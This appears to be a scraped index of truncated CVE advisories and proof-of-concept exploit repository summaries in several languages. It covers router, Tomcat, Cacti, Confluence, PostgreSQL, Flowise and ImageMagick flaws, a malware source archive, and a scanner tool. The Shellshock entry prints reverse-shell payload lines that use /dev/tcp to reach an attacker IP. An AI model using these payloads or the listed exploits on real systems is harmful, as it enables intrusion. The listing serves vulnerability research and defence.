kernel: xfrm: fix stale skb->prev after async crypto steals a GSO segment

A flaw was found in the Linux kernel's xfrm subsystem. This vulnerability arises when asynchronous cryptographic operations incorrectly handle network packet segments, leaving a pointer to memory that has already been released. An attacker could potentially exploit this use-after-free condition t...

Apache-Tomcat-CVE-2025-24813-Lab

CVE-2025-24813: Apache Tomcat Detection & Mitigation Lab A defensive cybersecurity portfolio project demonstrating vulnerability research, detection engineering, log correlation, layered mitigation, and technical documentation in an isolated two-VM environment. Project summary This repository...

CVE-2026-105295

GitAhead 2.5.0 through 2.7.1 contains an insecure update mechanism that installs downloaded updates without integrity or signature verification and permanently ignores TLS errors after one SSL error dialog. Network attackers presenting an invalid certificate once can intercept later automatic...

CVE-2026-105173

A flaw has been found in code-projects Human Resource Management 1.0. This affects an unknown part of the file /humanresourcemanagementsystem/src/store/EventStore.php of the component Event Creation. Executing a manipulation of the argument eventSubject can lead to cross site scripting. The attac...

CVE-2022-25062

CVE-2022-25062 このスクリプトは、TPLink WR840N ルーターの脆弱性 IoF を悪用し、DNS モジュールにおけるコード注入のためのフィールドを使用します。...

cve-2025-20333

CVE-2025-20333 - 完全な調査・悪用ツールキット 概要 このディレクトリには、Cisco ASA/FTD WebVPN サーバーにおける重大なスタックバッファオーバーフロー脆弱性である CVE-2025-20333 に関する包括的な調査、分析、および概念実証コードが含まれています。 ステータス: ⚠️ 実環境で活発に悪用中（ArcaneDoor キャンペーン） CVSS スコア: 9.8 Critical 認証: 不要（CVE-2025-20362 により回避） 影響: root としてのリモートコード実行 内容 📚 ドキュメント...

zoneminder-snapshots-rce-poc

Zoneminder スナップショット経由の未認証RCE CVE-2023-26035 POC これは、CVE-2023-26035 に記載されている Zoneminder のセキュリティ上の欠陥を悪用できる、Python で書かれたスクリプトです。このシステムは、1.36.33 および 1.37.33. より前のバージョンで脆弱です。 使用方法 リポジトリをあなたのマシンにクローンし、pip を使用して依存関係をインストールします（これらのインストールをグローバルインストールから分離する環境を作成するには、virtualenv を使用することをお勧めします）。 git clone...

CVE-2022-46169_poc

CVE-2022-46169 未認証のリモートコード実行 説明 認証バイパス: ほとんどのCactiインストールでは、ホスト名ベースの認可チェックが安全に実装されていません コマンドインジェクション: サニタイズされていないユーザー入力が、外部コマンドを実行するために使用される文字列に伝播されます デモ POC インストール go install を使用する go install github.com/devAL3X/CVE-2022-46169poc バイナリを実行します: CVE-2022-46169poc 手動でのビルド または、バイナリを手動でビルドすることもできます:...

CVE-2018-5767-AC9

CVE-2018-5767-AC9 CVE-2018-5767 の概念実証の実装 https://vulners.com/cve/CVE-2018-5767 The following is an actualization of CVE-2018-5767, a vulnerability which exploits an unguarded call to sscanf that occurs when parsing the 'Cookie' header for a password. The vulnerability was initially discovered in,...

CVE-2025-8714-POC

CVE-2025-8714-POC PostgreSQLにおけるRCEのPoC — CVE-2025-8714 PostgreSQLにおけるリモートコード実行のPoC — CVE-2025-8714 pgdump リバースシェル このリポジトリは、CVE-2025-8714 の深刻な脆弱性に対する概念実証（PoC）を提示します。この脆弱性は、以下のPostgreSQLバージョン以前に影響します: 17.6, 16.10, 15.14, 14.19, 13.22, および18 Beta ...。この脆弱性により、送信元サーバーでスーパーユーザー権限を持つ攻撃者が、pgdump または...

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE 체인 - ATO CVE-2025-58434 및 RCE CVE-2025-59528 ⚠️ 교육 및 허가된 보안 연구 용도로만 사용하십시오. 귀하가 소유하지 않거나 서면 허가 없이 테스트하는 시스템에 대해 이 도구를 실행하는 것은 불법 입니다. 목차 이 저장소에는 두 가지 Flowise 취약점을 연결하는 Python 개념 증명PoC이 포함되어 있습니다: CVE-2025-58434 — 노출된 비밀번호 재설정 토큰 동작을 통한 계정 탈취. CVE-2025-59528 — CustomMCP 노드의 안전하지 않은...

CVE-2024-28397-Exploit-Automation

CVE-2024-28397 エクスプロイト自動化 js2py サンドボックスエスケープ の脆弱性（CVE-2024-28397）を悪用するための Python 自動化スクリプトです。このツールは、脆弱性のあるインスタンス上でリモートコード実行（RCE）を達成するためのペイロード生成および配信プロセスを自動化します。 ⚠️ 法的免責事項 事前の相互同意なしに対象に攻撃を仕掛けるためにこのツールを使用することは違法です。このリポジトリは教育目的のみで提供されています。作者はこの情報の誤用について一切の責任を負いません。このツールは、権限が付与されたセキュリティ評価および Capture Th...

MalwareSourceCode

managed by vx-underground | follow us on Twitter | download malware samples at the VXUG/samples page 免責事項： 適用される法律で許容される最大限の範囲において、vx-underground およびコンテンツを vx-underground に提出した関連会社は、間接的、偶発的、特別、結果的、懲罰的損害賠償、または直接間接を問わず発生した利益や収入の損失、データ、使用、のれん、その他の無形資産の損失について、以下の事由に起因する場合、一切の責任を負いません。i...

CVE-2016-3714

CVE-2016-3714 ImageMagick コード実行 CVE-2016-3714 imagickbuilder.py = CVE-2016-3714 を悪用するためのシンプルなペイロードビルダー imagickbypassshell.php = PHP の imagick 拡張ラッパーを利用して無効化された関数をバイパスする PHP ベースのウェブシェル 動作している様子の画像: ペイロードビルダー: imagick ペイロード vs ImageMagick 有効な vBulletin 4.x: ペイロード発動後のサーバー側: ウェブシェル: コマンド実行: ファイル読み取り:...

CVE-2022-26134_conFLU

CVE-2022-26134 - conFLU Atlassian Confluence 上で CVE-2022-26134 を悪用するための PoC エクスプロイトの使用方法 python3 conFLU.py -h Usage: conFLU.py -h -u URL -f F -cmd CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD command...

CVE-2026-82222

CVE-2026-82222 — GiveWP 作成者: Rx019 CVSS: 10.0（緊急） 種別: 認証なしPHPオブジェクトインジェクション → リモートコード実行 プラグイン: GiveWP give — 寄付プラグインおよび資金調達プラットフォーム 影響を受けるバージョン: 修正済みバージョン: 4.16.8 説明 GiveWPは、寄付者のlastnameをサニタイズせずにPHPセッションに保存します。givelastフィールドなし...

Shell-Shock

Shell Shock 著者 : [email protected] メンテナ : 部署 : DevOps ライセンス : 概要 Shell Shock : 権限昇格, リモートコード実行 Unix Bash Shell のバグ群。任意のコマンド実行を許可します。 悪用ベクトル ペイロード shellshock ユーザーエージェント = User-Agent: :; ; rshell ペイロード = bash -i & /dev/tcp/127.0.0.1 rshell リスナーへのリダイレクト = bash -i & /dev/tcp/$YOURIP:$PORT トリック 設...

Onapsis_CVE-2025-31324_Scanner_Tools

CVE-2025-31324（Visual Composer Metadata Uploaderの脆弱性）用の脆弱性および侵害指標（IoC）スキャナ CVE-2025-31324は、SAP NetWeaverシステム、特にVisual Composer Metadata Uploaderコンポーネントに影響を与える重大な（CVSSv3 10）脆弱性です。この脆弱性により、認証されていない攻撃者がシステムに任意のファイルをアップロードできるようになり、リモートコード実行やシステムの完全な乗っ取りにつながる可能性があります。 Onapsisは、この脆弱性の重大性を認識し、Onapsis...

CVE-2026-105295 GitAhead 2.5.0 through 2.7.1 Unverified Update Installation and TLS Bypass

GitAhead 2.5.0 through 2.7.1 contains an insecure update mechanism that installs downloaded updates without integrity or signature verification and permanently ignores TLS errors after one SSL error dialog. Network attackers presenting an invalid certificate once can intercept later automatic...

CVE-2026-105295 GitAhead 2.5.0 through 2.7.1 Unverified Update Installation and TLS Bypass

GitAhead 2.5.0 through 2.7.1 contains an insecure update mechanism that installs downloaded updates without integrity or signature verification and permanently ignores TLS errors after one SSL error dialog. Network attackers presenting an invalid certificate once can intercept later automatic...